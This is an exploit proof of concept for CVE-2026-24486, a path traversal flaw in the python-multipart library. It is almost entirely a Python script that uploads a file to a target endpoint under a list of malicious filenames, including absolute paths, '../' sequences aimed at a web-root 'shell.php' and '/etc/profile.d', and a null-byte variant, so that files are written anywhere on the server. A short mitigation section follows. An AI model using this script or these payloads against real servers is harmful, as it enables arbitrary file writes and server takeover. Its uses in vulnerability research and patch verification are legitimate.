# Exploit Title: Python-Multipart 0.0.22 - Path Traversal # Date: 2026-02-23 # Exploit Author: cardosource # Vendor Homepage: https://github.com/Kludex/python-multipart # Software Link: https://pypi.org/project/python-multipart/ # Version: < 0.0.22 (REQUIRED) # Tested on: Ubuntu / Python 3.13.5 / Docker (as root for demo) # CVE : CVE-2026-24486 """ PoC for CVE-2026-24486: Path Traversal in python-multipart when UPLOAD_KEEP_FILENAME=True + UPLOAD_DIR is configured. Allows arbitrary file write via malicious filename. """ import requests import time import os import sys TARGET_URL = "http://localhost:8000/upload" SOURCE_FILE = "/etc/hosts" # Small file to upload (content written to target) if not os.path.exists(SOURCE_FILE): print(f"[!] Source file not found: {SOURCE_FILE}") sys.exit(1) # Malicious filenames (payloads) payloads = [ "/tmp/poc-abs.txt", "/etc/poc-etc.txt", "/root/poc-root.txt", "../../var/www/html/shell.php", "../../etc/profile.d/mal.sh", "../../../tmp/poc-deep.txt", "../../etc/passwd%00.txt", "//etc//poc-double-slash.txt", ] print("[*] CVE-2026-24486 PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Using source file: {SOURCE_FILE}") print(f"[*] Testing {len(payloads)} payloads...\n") for i, filename in enumerate(payloads, 1): print(f"[{i}/{len(payloads)}] Testing: {filename}") try: files = { 'file': (filename, open(SOURCE_FILE, 'rb'), 'text/plain') } r = requests.post(TARGET_URL, files=files, timeout=8) print(f" Status: {r.status_code}") if r.text.strip(): print(f" Response: {r.text.strip()}") else: print(" Response: (empty)") except Exception as e: print(f" Error: {e}") print("-" * 50) time.sleep(1.0) print("\n[*] Done.") print("Verify files in container:") print(" docker exec -it vuln-poc find / -name '*poc*' -o -name '*shell*' 2>/dev/null") print("\nMitigation:") print(" - Upgrade: pip install python-multipart>=0.0.22") print(" - Avoid UPLOAD_KEEP_FILENAME=True") print(" - Sanitize: filename = os.path.basename(file.filename)")